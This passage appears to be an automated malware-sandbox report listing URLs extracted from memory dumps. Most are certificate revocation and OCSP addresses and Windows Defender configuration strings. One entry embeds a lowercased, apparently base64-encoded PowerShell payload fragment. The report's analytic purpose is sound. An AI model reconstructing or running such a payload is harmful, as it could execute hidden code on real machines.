"00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcjig3bhv*8tpa2.5.29.1thawte," - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0microsoft" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc1.3.6.1." - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt00mab1http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_o/>" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0t;g" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>-++++-+++=jabzad0awwbjae8algbgagkabablaf0aoga6afiazqbhagqaqqbsagwavablahgadaaoacqazqbuahyaogbfafiazwbxahmaqgbzackaowakag0aawa9acqazqbuahyaogbfaesaoabsaeuaowakageapqakag0aawauafmadqbiahmadabyagkabgbnacgamaasadeamaapadsajabpad0ajabzac4asqbuagqazqb4ae8azgaoacqayqapadsaaqbmacgajabpacaalqbsahqaiaawackaewblahgaaqb0ah0aowakagmapqakahmalgbtahuaygbzahqacgbpag4azwaoacqaaqaradeamaapadsajabiad0ajabtagsalgbtahuaygbzahqacgbpag4azwaoadeamaapadsajabqad0ajabjac4asqbuagqazqb4ae8azgaoacqaygapadsaaqbmacgajabqacaalqbsahqaiaawackaewblahgaaqb0ah0aowbpaguaeaaoacqaywauafmadqbiahmadabyagkabgbnacgamaasacqaagapacka&cfle7" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002684.00000001.136956.496E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002684.00000001.136956.496E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc1.3.6.1." - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002684.00000001.136956.61E60000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002684.00000001.136956.61E60000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002684.00000001.136956.61E60000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f'" - Source: "00000000-00002940.00000000.137222.75F20000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00002940.00000000.137222.75F20000.00000002.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:caxr6n5cxtdijxk8011pxau" - Source: "00000000-00003236.00000000.134666.03F60000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00003236.00000000.134666.03F60000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.cruz_]pge" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsuuu@hhsmookh&http://crl.thawtthawte," - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.5.29.1microsoft" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.10045.2.1pkcs2.16.840.1.113730.1.131.2.840.113533.7.65.0microsoft" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000000.134666.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:caxr6n5cxtdijxk8011pxau" - Source: "00000000-00003236.00000001.136587.03F60000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00003236.00000001.136587.03F60000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.cruz_]pge" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsuuu@hhsmookh&http://crl.thawtthawte," - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.5.29.1microsoft" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL 